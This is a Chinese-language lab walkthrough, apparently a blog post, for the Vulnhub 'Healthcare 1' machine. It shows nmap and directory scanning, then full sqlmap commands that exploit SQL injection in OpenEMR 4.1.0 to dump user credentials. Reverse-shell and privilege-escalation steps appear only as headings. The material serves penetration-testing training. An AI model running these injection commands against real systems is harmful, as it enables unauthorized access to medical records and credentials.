看完这篇教你玩转渗透测试靶机Vulnhub——Healthcare 1_healthcare 靶机Vulnhub靶机介

		* [②：漏洞发现SQL注入：](#SQL_41)
		* [③：SQL注入漏洞利用：](#SQL_49)
		* [④：反弹Shell：](#Shell_73)
		* [⑤：环境变量提权：](#_80)
		* [⑥：获取FLAG：](#FLAG_97)
+ [Vulnhub靶机渗透总结：](#Vulnhub_102)

Vulnhub靶机介绍：

vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VMware或者Oracle VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

PS:需要获得root权限找到flag

Difficulty：Intermediate（中级的）

Vulnhub靶机下载：

官网链接：download.vulnhub.com/healthcare/…

Vulnhub靶机安装：

下载好了把安装包解压然后使用 VMware或者Oracle VM打开即可。

在这里插入图片描述

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

在这里插入图片描述

渗透机：kali IP ：192.168.0.103 靶机IP ：192.168.0.109

使用命令：nmap -sS -sV -n -T4 -p- 192.168.0.109

在这里插入图片描述
开启了80和21端口访问80 使用工具:dirb，dirsearch，gobuster 扫到了robots.txt 进行访问没有可以利用的信息！

在这里插入图片描述

在这里插入图片描述
这里换个字典directory-list-lowercase-2.3-big.txt（字典大有点慢）再扫一下发现一个新的目录 /openerm 进行访问

directory-list-lowercase-2.3-big.txt 字典下载：github.com/danielmiess…

在这里插入图片描述

②：漏洞发现SQL注入：

这里是OpenEMR 的CMS 这里可以看到版本号使用本地漏洞库搜一下看看searchsploit openemr 4.1.0 发现这里有SQL注入漏洞

在这里插入图片描述
我这里没更新没搜到 49742.py 这里修改url python运行即可跑出数据库密码的hash值 MD5破解即可。

你这里我们就使用sqlmap 来跑也一样的反正有两种方法都可以尝试！

③：SQL注入漏洞利用：

sqlmap -u http://192.168.0.109/openemr//interface/login/validateUser.php?u= --dbs  --batch #列出数据库

在这里插入图片描述

sqlmap -u http://192.168.0.109/openemr//interface/login/validateUser.php?u= -D openemr  --tables   --batch #列出表

在这里插入图片描述

sqlmap -u http://192.168.0.109/openemr//interface/login/validateUser.php?u= -D openemr  -T users --columns  --batch #列出字段

在这里插入图片描述

sqlmap -u http://192.168.0.109/openemr//interface/login/validateUser.php?u= -D openemr -T users -C username,password --dump  --batch

在这里插入图片描述
得到两组账号密码： admin/ackbar medical/medical

④：反弹Shell：

在这里插入图片描述

获取第一个flag

在这里插入图片描述

看完这篇 教你玩转渗透测试靶机Vulnhub——Healthcare 1_healthcare 靶机

Vulnhub靶机介绍：

Vulnhub靶机下载：

Vulnhub靶机安装：

Vulnhub靶机漏洞详解：

①：信息收集：

②：漏洞发现SQL注入：

③：SQL注入漏洞利用：

④：反弹Shell：

⑤：环境变量提权：

看完这篇教你玩转渗透测试靶机Vulnhub——Healthcare 1_healthcare 靶机